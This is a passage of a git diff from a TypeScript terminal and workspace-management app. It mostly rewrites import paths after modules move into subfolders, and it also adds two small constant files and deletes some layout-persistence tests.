'../../workspace/creation/workspace-source' -import type { GlobalSettings } from '../../global-settings-types' +import type { GlobalSettings } from '../../settings/global-settings-types' // Wire names use product names (claude-code for the claude CLI); tuiAgentToAgentKind maps unknowns to other. export const AGENT_KIND_VALUES = [ diff --git a/src/shared/terminal-themes/terminal-color-overrides.ts b/src/shared/terminal-themes/terminal-color-overrides.ts index c4ec5d34ed0..e5b2290aece 100644 --- a/src/shared/terminal-themes/terminal-color-overrides.ts +++ b/src/shared/terminal-themes/terminal-color-overrides.ts @@ -1,5 +1,5 @@ import type { ITheme } from '@xterm/xterm' -import type { GlobalSettings } from '../global-settings-types' +import type { GlobalSettings } from '../settings/global-settings-types' export type TerminalColorOverrides = { foreground?: string diff --git a/src/shared/terminal-themes/terminal-theme-selection.ts b/src/shared/terminal-themes/terminal-theme-selection.ts index 0f53d87ab5e..9bc620352ae 100644 --- a/src/shared/terminal-themes/terminal-theme-selection.ts +++ b/src/shared/terminal-themes/terminal-theme-selection.ts @@ -1,5 +1,5 @@ import type { ITheme } from '@xterm/xterm' -import type { GlobalSettings } from '../global-settings-types' +import type { GlobalSettings } from '../settings/global-settings-types' import { isPluginContentSwitchedOff } from '../plugins/plugin-system-settings' import { hasTerminalColorOverrides, diff --git a/src/shared/terminal/appearance/terminal-config-import-preview.ts b/src/shared/terminal/appearance/terminal-config-import-preview.ts index 28516f75aa7..d6b418cbf58 100644 --- a/src/shared/terminal/appearance/terminal-config-import-preview.ts +++ b/src/shared/terminal/appearance/terminal-config-import-preview.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../global-settings-types' +import type { GlobalSettings } from '../../settings/global-settings-types' import type { TerminalThemeSlot } from '../../terminal-themes/terminal-color-overrides' import { withImportedTerminalColorOverrides } from '../../terminal-themes/terminal-theme-selection' diff --git a/src/shared/terminal/appearance/terminal-cursor-style-settings.ts b/src/shared/terminal/appearance/terminal-cursor-style-settings.ts index d6d390deeca..41077df7038 100644 --- a/src/shared/terminal/appearance/terminal-cursor-style-settings.ts +++ b/src/shared/terminal/appearance/terminal-cursor-style-settings.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../global-settings-types' +import type { GlobalSettings } from '../../settings/global-settings-types' type TerminalCursorStyleSettings = Pick< GlobalSettings, diff --git a/src/shared/terminal/appearance/terminal-font-weight-windows-regular.ts b/src/shared/terminal/appearance/terminal-font-weight-windows-regular.ts index caf1bbe5b9c..10fada42804 100644 --- a/src/shared/terminal/appearance/terminal-font-weight-windows-regular.ts +++ b/src/shared/terminal/appearance/terminal-font-weight-windows-regular.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../global-settings-types' +import type { GlobalSettings } from '../../settings/global-settings-types' import { DEFAULT_TERMINAL_FONT_WEIGHT } from './terminal-fonts' import { WINDOWS_TERMINAL_FONT_WEIGHT } from './terminal-platform-defaults' diff --git a/src/shared/terminal/appearance/terminal-pane-opacity.ts b/src/shared/terminal/appearance/terminal-pane-opacity.ts new file mode 100644 index 00000000000..5221f996c57 --- /dev/null +++ b/src/shared/terminal/appearance/terminal-pane-opacity.ts @@ -0,0 +1 @@ +export const DEFAULT_TERMINAL_INACTIVE_PANE_OPACITY = 0.9 diff --git a/src/shared/terminal/clipboard/osc52-clipboard-settings.ts b/src/shared/terminal/clipboard/osc52-clipboard-settings.ts index cc56fda8055..716d4c4403b 100644 --- a/src/shared/terminal/clipboard/osc52-clipboard-settings.ts +++ b/src/shared/terminal/clipboard/osc52-clipboard-settings.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../global-settings-types' +import type { GlobalSettings } from '../../settings/global-settings-types' type Osc52ClipboardSettings = Pick< GlobalSettings, diff --git a/src/shared/terminal/protocol/queries/terminal-color-scheme-protocol.ts b/src/shared/terminal/protocol/queries/terminal-color-scheme-protocol.ts index e54a375f56f..a29ba014705 100644 --- a/src/shared/terminal/protocol/queries/terminal-color-scheme-protocol.ts +++ b/src/shared/terminal/protocol/queries/terminal-color-scheme-protocol.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../global-settings-types' +import type { GlobalSettings } from '../../../settings/global-settings-types' export type TerminalColorSchemeMode = 'dark' | 'light' diff --git a/src/shared/terminal/pty/lifecycle/terminal-execution-host.ts b/src/shared/terminal/pty/lifecycle/terminal-execution-host.ts index 62f4e745368..b0d21d41065 100644 --- a/src/shared/terminal/pty/lifecycle/terminal-execution-host.ts +++ b/src/shared/terminal/pty/lifecycle/terminal-execution-host.ts @@ -2,7 +2,7 @@ import { toRuntimeExecutionHostId, toSshExecutionHostId, type ExecutionHostId -} from '../../../execution-host' +} from '../../../execution-host/execution-host' import { parseRemoteRuntimePtyId, isRemoteRuntimePtyId diff --git a/src/shared/terminal/pty/orphan-worktree-id.ts b/src/shared/terminal/pty/orphan-worktree-id.ts new file mode 100644 index 00000000000..572c8682f86 --- /dev/null +++ b/src/shared/terminal/pty/orphan-worktree-id.ts @@ -0,0 +1,2 @@ +/** Synthetic worktree id for PTYs not tied to any worktree; shared so main and renderer agree on the sentinel. */ +export const ORPHAN_WORKTREE_ID = '__orphan__' diff --git a/src/shared/terminal/runtime/runtime-terminal-contracts.ts b/src/shared/terminal/runtime/runtime-terminal-contracts.ts index 0e0983aecd3..1d2b30430c2 100644 --- a/src/shared/terminal/runtime/runtime-terminal-contracts.ts +++ b/src/shared/terminal/runtime/runtime-terminal-contracts.ts @@ -1,7 +1,7 @@ import type { TerminalLaunchResult } from '../../agent-session/lifecycle/agent-session-resume' import type * as AgentSessionResume from '../../agent-session/lifecycle/agent-session-resume' import type { StartupCommandDelivery } from '../../agent-launch/startup/codex-startup-delivery' -import type { ExecutionHostId } from '../../execution-host' +import type { ExecutionHostId } from '../../execution-host/execution-host' import type { PtyIncarnationId } from '../pty/lifecycle/pty-incarnation' import type { PtyLivenessVerdict } from '../pty/lifecycle/pty-liveness-verdict' import type { RuntimeListingHostScope } from '../../execution-host/runtime-listing-host-scope' diff --git a/src/shared/terminal/runtime/runtime-terminal-create-contract.ts b/src/shared/terminal/runtime/runtime-terminal-create-contract.ts index 00993a55c72..5606dcd1f35 100644 --- a/src/shared/terminal/runtime/runtime-terminal-create-contract.ts +++ b/src/shared/terminal/runtime/runtime-terminal-create-contract.ts @@ -1,5 +1,5 @@ import type { TerminalLaunchResult } from '../../agent-session/lifecycle/agent-session-resume' -import type { ExecutionHostId } from '../../execution-host' +import type { ExecutionHostId } from '../../execution-host/execution-host' import type { StartupCwdFallback } from '../../shell/launch/startup-cwd-fallback' export type RuntimeTerminalCreate = TerminalLaunchResult & { diff --git a/src/shared/top-level-view.ts b/src/shared/ui-chrome/top-level-view.ts similarity index 100% rename from src/shared/top-level-view.ts rename to src/shared/ui-chrome/top-level-view.ts diff --git a/src/shared/ui-chrome-types.ts b/src/shared/ui-chrome/ui-chrome-types.ts similarity index 96% rename from src/shared/ui-chrome-types.ts rename to src/shared/ui-chrome/ui-chrome-types.ts index 45b2beed657..fb89f807e59 100644 --- a/src/shared/ui-chrome-types.ts +++ b/src/shared/ui-chrome/ui-chrome-types.ts @@ -1,5 +1,5 @@ -import type { LinearConcreteWorkspaceId } from './linear/workspace-types' -import type { LinearCustomViewModel } from './linear/project-types' +import type { LinearConcreteWorkspaceId } from '../linear/workspace-types' +import type { LinearCustomViewModel } from '../linear/project-types' export type TaskViewPresetId = 'all' | 'issues' | 'review' | 'my-issues' | 'my-prs' | 'prs' diff --git a/src/shared/work-items/task-github-search.ts b/src/shared/work-items/task-github-search.ts index 56cd51f1477..1d68a9cc923 100644 --- a/src/shared/work-items/task-github-search.ts +++ b/src/shared/work-items/task-github-search.ts @@ -1,6 +1,6 @@ import { getTaskPresetQuery } from './task-preset-query' import { hasExplicitTaskScope, parseTaskQuery } from './task-query' -import type { TaskViewPresetId } from '../ui-chrome-types' +import type { TaskViewPresetId } from '../ui-chrome/ui-chrome-types' export type GitHubTaskKind = 'issues' | 'prs' export function isPRFocusedTaskView(preset: TaskViewPresetId | null, query: string): boolean { diff --git a/src/shared/work-items/task-preset-query.ts b/src/shared/work-items/task-preset-query.ts index c8732b7ea01..8154a1a3e71 100644 --- a/src/shared/work-items/task-preset-query.ts +++ b/src/shared/work-items/task-preset-query.ts @@ -1,4 +1,4 @@ -import type { TaskViewPresetId } from '../ui-chrome-types' +import type { TaskViewPresetId } from '../ui-chrome/ui-chrome-types' /** Share preset queries across TaskPage fallbacks and openTaskPage prefetch so cache keys agree. */ export function getTaskPresetQuery(presetId: TaskViewPresetId | null): string { diff --git a/src/shared/work-items/task-source-context.ts b/src/shared/work-items/task-source-context.ts index 3aadf0b608b..312b9fbf1b0 100644 --- a/src/shared/work-items/task-source-context.ts +++ b/src/shared/work-items/task-source-context.ts @@ -5,7 +5,7 @@ import { parseExecutionHostId, toRuntimeExecutionHostId, type ExecutionHostId -} from '../execution-host' +} from '../execution-host/execution-host' import { areTaskProviderIdentitiesEqual, isStoredTaskProviderIdentity, @@ -14,7 +14,7 @@ import { type TaskProviderIdentity } from './task-provider-identity' import { isTaskProvider, type TaskProvider } from './task-providers' -import type { GlobalSettings } from '../global-settings-types' +import type { GlobalSettings } from '../settings/global-settings-types' import type { Repo } from '../repository/repo-types' export type TaskSourceContext = { diff --git a/src/shared/workspace-attachments/runtime-reference-contracts.ts b/src/shared/workspace-attachments/runtime-reference-contracts.ts index 3390c2c8596..44420d6efd2 100644 --- a/src/shared/workspace-attachments/runtime-reference-contracts.ts +++ b/src/shared/workspace-attachments/runtime-reference-contracts.ts @@ -1,5 +1,5 @@ import type { WorkspaceAttachment, Worktree } from '../worktree/types' -import type { ExecutionHostId } from '../execution-host' +import type { ExecutionHostId } from '../execution-host/execution-host' import type { PtyLivenessVerdict } from '../terminal/pty/lifecycle/pty-liveness-verdict' export type ReferenceWorkspace = Worktree & { diff --git a/src/shared/workspace-attachments/workspace-attachment-origins.ts b/src/shared/workspace-attachments/workspace-attachment-origins.ts index 5ad99c40316..7567044a583 100644 --- a/src/shared/workspace-attachments/workspace-attachment-origins.ts +++ b/src/shared/workspace-attachments/workspace-attachment-origins.ts @@ -1,5 +1,5 @@ import type { WorkspaceAttachmentOrigin } from '../worktree/types' -import { parseExecutionHostId } from '../execution-host' +import { parseExecutionHostId } from '../execution-host/execution-host' export function getWorkspaceAttachmentOriginKey(origin: WorkspaceAttachmentOrigin): string { return JSON.stringify([ diff --git a/src/shared/workspace-cleanup/workspace-cleanup-filter-model.ts b/src/shared/workspace-cleanup/workspace-cleanup-filter-model.ts index 17b99e2755c..00b2b61d56e 100644 --- a/src/shared/workspace-cleanup/workspace-cleanup-filter-model.ts +++ b/src/shared/workspace-cleanup/workspace-cleanup-filter-model.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../execution-host' +import type { ExecutionHostId } from '../execution-host/execution-host' import type { HostedReviewProvider } from '../source-control/hosted-review/hosted-review-contracts' import type { WorkspaceCleanupBlocker } from './workspace-cleanup' diff --git a/src/shared/workspace-cleanup/workspace-cleanup-filter-state-codec.ts b/src/shared/workspace-cleanup/workspace-cleanup-filter-state-codec.ts index 4691c7cd876..1cb5a52bb33 100644 --- a/src/shared/workspace-cleanup/workspace-cleanup-filter-state-codec.ts +++ b/src/shared/workspace-cleanup/workspace-cleanup-filter-state-codec.ts @@ -1,4 +1,4 @@ -import { normalizeExecutionHostId, type ExecutionHostId } from '../execution-host' +import { normalizeExecutionHostId, type ExecutionHostId } from '../execution-host/execution-host' import type { HostedReviewProvider } from '../source-control/hosted-review/hosted-review-contracts' import { WORKSPACE_CLEANUP_AGENT_STATE_VALUES, diff --git a/src/shared/workspace-cleanup/workspace-cleanup-host-identity.ts b/src/shared/workspace-cleanup/workspace-cleanup-host-identity.ts index 0214a74fb31..770b775d25d 100644 --- a/src/shared/workspace-cleanup/workspace-cleanup-host-identity.ts +++ b/src/shared/workspace-cleanup/workspace-cleanup-host-identity.ts @@ -3,7 +3,7 @@ import { normalizeExecutionHostId, toSshExecutionHostId, type ExecutionHostId -} from '../execution-host' +} from '../execution-host/execution-host' import type { WorkspaceCleanupCandidate } from './workspace-cleanup' /** Host evidence a cleanup row carries; `worktreeId` alone repeats across hosts. */ diff --git a/src/shared/workspace-cleanup/workspace-cleanup-run.ts b/src/shared/workspace-cleanup/workspace-cleanup-run.ts index 7de7bc533db..865d9bbc106 100644 --- a/src/shared/workspace-cleanup/workspace-cleanup-run.ts +++ b/src/shared/workspace-cleanup/workspace-cleanup-run.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../execution-host' +import type { ExecutionHostId } from '../execution-host/execution-host' import type { WorkspaceCleanupEvaluation, WorkspaceCleanupKeepCause, diff --git a/src/shared/workspace-cleanup/workspace-cleanup-unreachable-host-candidate.ts b/src/shared/workspace-cleanup/workspace-cleanup-unreachable-host-candidate.ts index 45ed841a43a..2aedc6c8811 100644 --- a/src/shared/workspace-cleanup/workspace-cleanup-unreachable-host-candidate.ts +++ b/src/shared/workspace-cleanup/workspace-cleanup-unreachable-host-candidate.ts @@ -1,4 +1,4 @@ -import { getRepoRoutingConnectionId, type ExecutionHostId } from '../execution-host' +import { getRepoRoutingConnectionId, type ExecutionHostId } from '../execution-host/execution-host' import type { Repo } from '../repository/repo-types' import { createWorkspaceCleanupFingerprint, diff --git a/src/shared/workspace-cleanup/workspace-cleanup.ts b/src/shared/workspace-cleanup/workspace-cleanup.ts index fb80295a85c..5cb816d5f0d 100644 --- a/src/shared/workspace-cleanup/workspace-cleanup.ts +++ b/src/shared/workspace-cleanup/workspace-cleanup.ts @@ -1,6 +1,6 @@ // Type-only, so the cycle back through workspace-cleanup-filter-model erases at build. import type { WorkspaceCleanupBrowseState } from './workspace-cleanup-browse-state' -import type { ExecutionHostId } from '../execution-host' +import type { ExecutionHostId } from '../execution-host/execution-host' import type { HostedReviewProvider } from '../source-control/hosted-review/hosted-review-contracts' import { getWorkspaceCleanupCandidateHostId } from './workspace-cleanup-host-identity' import type { WorktreeAtRiskLocalFiles } from '../worktree/removal/at-risk-local-files' diff --git a/src/shared/workspace-disk-space/workspace-space-types.ts b/src/shared/workspace-disk-space/workspace-space-types.ts index 3a364e68dde..afb70275a75 100644 --- a/src/shared/workspace-disk-space/workspace-space-types.ts +++ b/src/shared/workspace-disk-space/workspace-space-types.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../execution-host' +import type { ExecutionHostId } from '../execution-host/execution-host' export type WorkspaceSpaceScanStatus = | 'ok' diff --git a/src/shared/workspace-layout/commands/workspace-layout-command.test-fixture.ts b/src/shared/workspace-layout/commands/workspace-layout-command.test-fixture.ts index 58226c0d9de..6a25e2271d4 100644 --- a/src/shared/workspace-layout/commands/workspace-layout-command.test-fixture.ts +++ b/src/shared/workspace-layout/commands/workspace-layout-command.test-fixture.ts @@ -1,4 +1,4 @@ -import { LOCAL_EXECUTION_HOST_ID } from '../../execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../execution-host/execution-host' import { applyLayoutCommand } from '../workspace-layout-commands' import type { LayoutCommand, LayoutContext } from '../workspace-layout-command-types' import type { LayoutTerminalTab, WorkspaceLayoutModel } from '../workspace-layout-model' diff --git a/src/shared/workspace-layout/commands/workspace-layout-dropped-leaves.ts b/src/shared/workspace-layout/commands/workspace-layout-dropped-leaves.ts index 09da2c751b8..2610ead9a15 100644 --- a/src/shared/workspace-layout/commands/workspace-layout-dropped-leaves.ts +++ b/src/shared/workspace-layout/commands/workspace-layout-dropped-leaves.ts @@ -3,7 +3,7 @@ import { recordClosedTerminalPanes, type ClosedTerminalPane } from '../terminal-surfaces/closed-terminal-panes' -import type { ExecutionHostId } from '../../execution-host' +import type { ExecutionHostId } from '../../execution-host/execution-host' import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../layout-owner-switch' import type { DroppedLeafReason } from '../workspace-layout-command-types' import { leafIdsOf } from './workspace-layout-command-steps' diff --git a/src/shared/workspace-layout/commands/workspace-layout-open-in-new-group.test.ts b/src/shared/workspace-layout/commands/workspace-layout-open-in-new-group.test.ts index 50466ef1a68..ea3647350f8 100644 --- a/src/shared/workspace-layout/commands/workspace-layout-open-in-new-group.test.ts +++ b/src/shared/workspace-layout/commands/workspace-layout-open-in-new-group.test.ts @@ -1,5 +1,5 @@ import { describe, expect, it } from 'vitest' -import '../../execution-host' +import '../../execution-host/execution-host' import '../tab-groups/tab-group-layout-tree' import { applyLayoutCommand } from '../workspace-layout-commands' import type { CommandOf, LayoutCommand, NewGroupSplit } from '../workspace-layout-command-types' diff --git a/src/shared/workspace-layout/commands/workspace-layout-resume-record.test.ts b/src/shared/workspace-layout/commands/workspace-layout-resume-record.test.ts deleted file mode 100644 index 3d999889976..00000000000 --- a/src/shared/workspace-layout/commands/workspace-layout-resume-record.test.ts +++ /dev/null @@ -1,125 +0,0 @@ -// Both live/quit resume records and sleep records round-trip through sleepingAgentSessionsByPaneKey, loading into separate mutually exclusive leaf fields. - -import { describe, expect, it } from 'vitest' -import type { SleepingAgentSessionRecord } from '../../agent-session/lifecycle/agent-session-resume' -import { LOCAL_EXECUTION_HOST_ID } from '../../execution-host' -import { applyLayoutCommand } from '../workspace-layout-commands' -import { build, testContext } from './workspace-layout-command.test-fixture' -import { loadWorkspaceLayout } from '../persistence/workspace-layout-load' -import type { LoadedWorkspaceLayout } from '../persistence/workspace-layout-load-types' -import type { LayoutLeaf, WorkspaceLayoutModel } from '../workspace-layout-model' -import { - localDesktopSession, - sleepingRecord -} from '../persistence/workspace-layout-profile.test-fixture' -import { publishWorkspaceLayout } from '../published-layout/workspace-layout-published' -import '../persistence/workspace-layout-save' -import { GIT_KEY, leaf } from '../persistence/workspace-layout-session.test-fixture' -import type { WorkspaceSessionState } from '../../workspace-session/workspace-session-state-types' - -type Origin = SleepingAgentSessionRecord['origin'] - -function withOrigin(record: SleepingAgentSessionRecord, origin: Origin) { - const { origin: _stored, ...rest } = record - return origin ? { ...rest, origin } : rest -} - -function sessionWith(origin: Origin): WorkspaceSessionState { - const session = localDesktopSession() - const paneKey = `term-agent:${leaf(3)}` - session.sleepingAgentSessionsByPaneKey = { - [paneKey]: withOrigin(session.sleepingAgentSessionsByPaneKey![paneKey]!, origin) - } - return session -} - -function load(session: WorkspaceSessionState): LoadedWorkspaceLayout { - let next = 0 - return loadWorkspaceLayout(LOCAL_EXECUTION_HOST_ID, session, { - mintId: () => `minted-${++next}`, - mintLeafId: () => leaf(9) - }) -} - -const leafOf = (model: WorkspaceLayoutModel, leafId: string): LayoutLeaf | undefined => - model.workspaces[GIT_KEY]!.leaves?.[leafId] - -describe("a pane's resume record through load and save", () => { - it('never publishes either record to a layout frame', () => { - const { layout } = load(sessionWith('live')) - const frame = JSON.stringify( - publishWorkspaceLayout(layout.workspaces[GIT_KEY]!, LOCAL_EXECUTION_HOST_ID) - ) - expect(leafOf(layout, leaf(3))!.resume).toBeDefined() - expect(frame).not.toContain('"resume"') - expect(frame).not.toContain('fix the flaky test') - }) -}) - -describe('the sleep, wake and start commands on a resume record', () => { - const shellPane = `tab-shell:${leaf(1)}` - const record = (origin: Origin) => - withOrigin(sleepingRecord(GIT_KEY, 'tab-shell', leaf(1)), origin) - - it('a waking start leaves a running agent alone: it keeps its resume record and is not started', () => { - const context = testContext() - const { layout } = load(localDesktopSession()) - const live = build( - context, - [ - { - type: 'sleep', - workspace: GIT_KEY, - paneKeys: [shellPane], - records: [record('live')], - recordOnly: true - } - ], - layout - ).model - const woken = applyLayoutCommand(live, { type: 'wake', workspace: GIT_KEY }, context) - expect(woken).toMatchObject({ ok: true, result: { woken: [] } }) - expect(woken.ok && woken.effects?.startPaneKeys).toEqual([]) - expect(woken.ok && leafOf(woken.model, leaf(1))).toMatchObject({ resume: { origin: 'live' } }) - }) - - it('starts an unbound pane holding a resume record, keeping the record to resume from', () => { - const context = testContext() - const unboundPane = `tab-unbound:${leaf(4)}` - const { layout } = load(localDesktopSession()) - const held = build( - context, - [ - { - type: 'sleep', - workspace: GIT_KEY, - paneKeys: [unboundPane], - records: [withOrigin(sleepingRecord(GIT_KEY, 'tab-unbound', leaf(4)), 'quit')], - recordOnly: true - } - ], - layout - ).model - expect(leafOf(held, leaf(4))!.resume).toBeDefined() - const start = { type: 'startPane' as const, workspace: GIT_KEY, paneKey: unboundPane } - const started = applyLayoutCommand(held, start, context) - expect(started.ok && started.effects?.startPaneKeys).toEqual([unboundPane]) - expect(started.ok && leafOf(started.model, leaf(4))!.resume).toBeDefined() - // A bound pane's resume record does not stop it: its terminal runs. - const bound = { type: 'startPane' as const, workspace: GIT_KEY, paneKey: shellPane } - const live = build( - context, - [ - { - type: 'sleep', - workspace: GIT_KEY, - paneKeys: [shellPane], - records: [record('live')], - recordOnly: true - } - ], - layout - ).model - expect(applyLayoutCommand(live, bound, context)).toMatchObject({ ok: true }) - }) -}) diff --git a/src/shared/workspace-layout/editor-tabs/workspace-layout-editor-duplicates.test.ts b/src/shared/workspace-layout/editor-tabs/workspace-layout-editor-duplicates.test.ts index e1b53b9b44e..99ce645cc84 100644 --- a/src/shared/workspace-layout/editor-tabs/workspace-layout-editor-duplicates.test.ts +++ b/src/shared/workspace-layout/editor-tabs/workspace-layout-editor-duplicates.test.ts @@ -1,6 +1,6 @@ // Layout-owner windows show only one same-file tab per group, leaving duplicates unclosable; main refuses new duplicates and folds saved ones. import { describe, expect, it } from 'vitest' -import { LOCAL_EXECUTION_HOST_ID } from '../../execution-host' +import { LOCAL_EXECUTION_HOST_ID } from '../../execution-host/execution-host' import { ORCA_LAYOUT_OWNER_IS_MAIN } from '../layout-owner-switch' import type { WorkspaceSessionState } from '../../workspace-session/workspace-session-state-types' import { applyLayoutCommand } from '../workspace-layout-commands' @@ -123,10 +123,3 @@ describe.runIf(ORCA_LAYOUT_OWNER_IS_MAIN)( }) } ) - -describe.skipIf(ORCA_LAYOUT_OWNER_IS_MAIN)('one file, one tab per group, switch off', () => { - it('loads a saved second tab as before', () => { - const workspace = load(savedTwice()).layout.workspaces[GIT_KEY]! - expect(workspace.tabs.map((tab) => tab.id)).toEqual(['ed-1', 'ed-2', 'ed-b']) - }) -}) diff --git a/src/shared/workspace-layout/editor-tabs/workspace-layout-editor-file-owner.test.ts b/src/shared/workspace-layout/editor-tabs/workspace-layout-editor-file-owner.test.ts index ad8e2acc0b0..bcbe317b83a 100644 --- a/src/shared/workspace-layout/editor-tabs/workspace-layout-editor-file-owner.test.ts +++ b/src/shared/workspace-layout/editor-tabs/workspace-layout-editor-file-owner.test.ts @@ -2,8 +2,8 @@ // open, reload, move and close touches its own owner's record only. import { beforeEach, describe, expect, it, vi } from 'vitest' -import { FLOATING_TERMINAL_WORKTREE_ID } from '../../constants' -import '../../execution-host' +import { FLOATING_TERMINAL_WORKTREE_ID } from '../../workspace/identity/floating-workspace-id' +import '../../execution-host/execution-host' import { ownedEditorFileId } from '../../workspace-session/workspace-session-pane-ownership' import type { PersistedOpenFile, @@ -162,11 +162,4 @@ describe('editor file records keyed by path and owner, layout-owner build', () = expect(patched.openFilesByWorktree?.[FLOATING]).toEqual([local, runtime]) }) - - it('match by path alone when the switch is off, as a headless host does today', () => { - mocks.layoutOwnerIsMain = false - const { model } = bothOpen(FLOATING, localId(FLOATING)) - - expect(owners(model, FLOATING)).toEqual([ENV]) - }) }) diff --git a/src/shared/workspace-layout/editor-tabs/workspace-layout-owned-editor-id.test.ts b/src/shared/workspace-layout/editor-tabs/workspace-layout-owned-editor-id.test.ts index fd461396cfb..0b621116c2f 100644 --- a/src/shared/workspace-layout/editor-tabs/workspace-layout-owned-editor-id.test.ts +++ b/src/shared/workspace-layout/editor-tabs/workspace-layout-owned-editor-id.test.ts @@ -1,20 +1,20 @@ // Owned editor IDs must retain facts main associates with the file for floating, contested and moved files. import { beforeEach, describe, expect, it, vi } from 'vitest' -import '../../constants' -import { LOCAL_EXECUTION_HOST_ID } from '../../execution-host' +import '../../orca-profiles/constants' +import { LOCAL_EXECUTION_HOST_ID } from '../../execution-host/execution-host' import { ownedEditorFileId } from '../../workspace-session/workspace-session-pane-ownership' import type { WorkspaceSessionState } from '../../workspace-session/workspace-session-state-types' -import { applyLayoutCommand } from '../workspace-layout-commands' +import '../workspace-layout-commands' import { loadWorkspaceLayout } from '../persistence/workspace-layout-load' import '../persistence/workspace-layout-save' -import { testContext } from '../commands/workspace-layout-command.test-fixture' +import '../commands/workspace-layout-command.test-fixture' import { addWorkspace, emptySession, GIT_KEY } from '../persistence/workspace-layout-session.test-fixture' -import { tabExecutionHostId } from './workspace-layout-tab-host' +import './workspace-layout-tab-host' const mocks = vi.hoisted(() => ({ layoutOwnerIsMain: true })) vi.mock('../layout-owner-switch', () => ({ @@ -72,21 +72,4 @@ describe('editor tabs under an owned id, layout-owner build', () => { expect(loaded.layout.workspaces[GIT_KEY]!.tabs[0]!.isPreview).toBeUndefined() }) - - it("names its file's host and drops its file's record when its last tab closes", () => { - const filePath = '/srv/app/README.md' - const { session, fileId } = previewUnderOwnedId(GIT_KEY, filePath, 'env-1') - const { layout } = load(session) - const workspace = layout.workspaces[GIT_KEY]! - - expect(tabExecutionHostId(workspace.tabs[0]!, workspace, LOCAL_EXECUTION_HOST_ID)).toBe( - 'runtime:env-1' - ) - const closed = applyLayoutCommand( - layout, - { type: 'closeTabs', workspace: GIT_KEY, tabIds: [fileId] }, - testContext() - ) - expect(closed.ok && closed.model.workspaces[GIT_KEY]!.editorFiles).toEqual([]) - }) }) diff --git a/src/shared/workspace-layout/editor-tabs/workspace-layout-tab-host.ts b/src/shared/workspace-layout/editor-tabs/workspace-layout-tab-host.ts index c2d28dbd76a..57d2adbd0bd 100644 --- a/src/shared/workspace-layout/editor-tabs/workspace-layout-tab-host.ts +++ b/src/shared/workspace-layout/editor-tabs/workspace-layout-tab-host.ts @@ -2,7 +2,7 @@ import { toRuntimeExecutionHostId, toSshExecutionHostId, type ExecutionHostId -} from '../../execution-host' +} from '../../execution-host/execution-host' import type { TabContentType } from '../tab-groups/tab-types' import type { PersistedOpenFile } from '../../workspace-session/workspace-session-state-types' import { editorTabFile } from './workspace-layout-editor-tab-file' diff --git a/src/shared/workspace-layout/invariants/workspace-layout-id-stability.ts b/src/shared/workspace-layout/invariants/workspace-layout-id-stability.ts index 77250c0398c..dc766c5aa7d 100644 --- a/src/shared/workspace-layout/invariants/workspace-layout-id-stability.ts +++ b/src/shared/workspace-layout/invariants/workspace-layout-id-stability.ts @@ -1,4 +1,4 @@ -import type { ExecutionHostId } from '../../execution-host' +import type { ExecutionHostId } from '../../execution-host/execution-host' import { collectTerminalLeafOwners, isSameTerminal diff --git a/src/shared/workspace-layout/invariants/workspace-layout-rule-types.ts b/src/shared/workspace-layout/invariants/workspace-layout-rule-types.ts index 2ee56776c6b..3ef8cc5d4c3 100644 --- a/src/shared/workspace-layout/invariants/workspace-layout-rule-types.ts +++ b/src/shared/workspace-layout/invariants/workspace-layout-rule-types.ts @@ -1,5 +1,5 @@ import type { TerminalLeafOwner } from '../terminal-topology/terminal-owner-invariants' -import type { ExecutionHostId } from '../../execution-host' +import type { ExecutionHostId } from '../../execution-host/execution-host' import type { WorkspaceSessionState } from '../../workspace-session/workspace-session-state-types' export type PaneOwner = Pick< diff --git a/src/shared/workspace-layout/invariants/workspace-layout-rules.ts b/src/shared/workspace-layout/invariants/workspace-layout-rules.ts index c469eb3c93f..7a9ebee6d6d 100644 --- a/src/shared/workspace-layout/invariants/workspace-layout-rules.ts +++ b/src/shared/workspace-layout/invariants/workspace-layout-rules.ts @@ -1,6 +1,6 @@ // Check structural rules on stored runtime partitions; optionally compare previous partitions for ID remounts. -import type { ExecutionHostId } from '../../execution-host' +import type { ExecutionHostId } from '../../execution-host/execution-host' import type { Tab, TabGroup } from '../tab-groups/tab-types' import { collectLayoutLeafIdsInOrder } from '../terminal-topology/terminal-pane-tree' import { diff --git a/src/shared/workspace-layout/persistence/workspace-layout-command-persistence.test.ts b/src/shared/workspace-layout/persistence/workspace-layout-command-persistence.test.ts index 32f803d1d04..afd8bfe6fb0 100644 --- a/src/shared/workspace-layout/persistence/workspace-layout-command-persistence.test.ts +++ b/src/shared/workspace-layout/persistence/workspace-layout-command-persistence.test.ts @@ -1,42 +1,15 @@ // Verify disk effects: legacy row ownership/revision, distinct tab/terminal IDs and dirty-draft refusal on preview replacement. import { describe, expect, it } from 'vitest' -import '../../execution-host' +import '../../execution-host/execution-host' import { applyLayoutCommand } from '../workspace-layout-commands' import { build, testContext, WS } from '../commands/workspace-layout-command.test-fixture' import './workspace-layout-load' -import type { WorkspaceLayoutModel } from '../workspace-layout-model' + import './workspace-layout-profile.test-fixture' import './workspace-layout-save' import './workspace-layout-session.test-fixture' -describe('the legacy persistence record through commands', () => { - it('advances the revision only for commands that change terminal panes', () => { - const context = testContext() - const { model, results } = build(context, [ - { type: 'createTerminalTab', workspace: WS }, - { type: 'createTerminalTab', workspace: WS } - ]) - const revision = (next: WorkspaceLayoutModel) => next.legacy.topologyRevisionByRepoId - expect(revision(model)).toEqual({ 'repo-1': 2 }) - const group = model.workspaces[WS]!.groups[0]!.id - const tabId = results[0]!.tabId! - const moved = build( - context, - [{ type: 'moveTab', workspace: WS, tabId, toGroupId: group, index: 1 }], - model - ) - expect(revision(moved.model)).toEqual({ 'repo-1': 2 }) - const leafId = results[0]!.leafId! - const split = build( - context, - [{ type: 'splitPane', workspace: WS, tabId, leafId, direction: 'vertical' }], - model - ) - expect(revision(split.model)).toEqual({ 'repo-1': 3 }) - }) -}) - describe('preview replacement', () => { it('keeps a preview with an unsaved draft and opens beside it, refused as closeTabs refuses', () => { const context = testContext() diff --git a/src/shared/workspace-layout/persistence/workspace-layout-legacy-persistence.test.ts 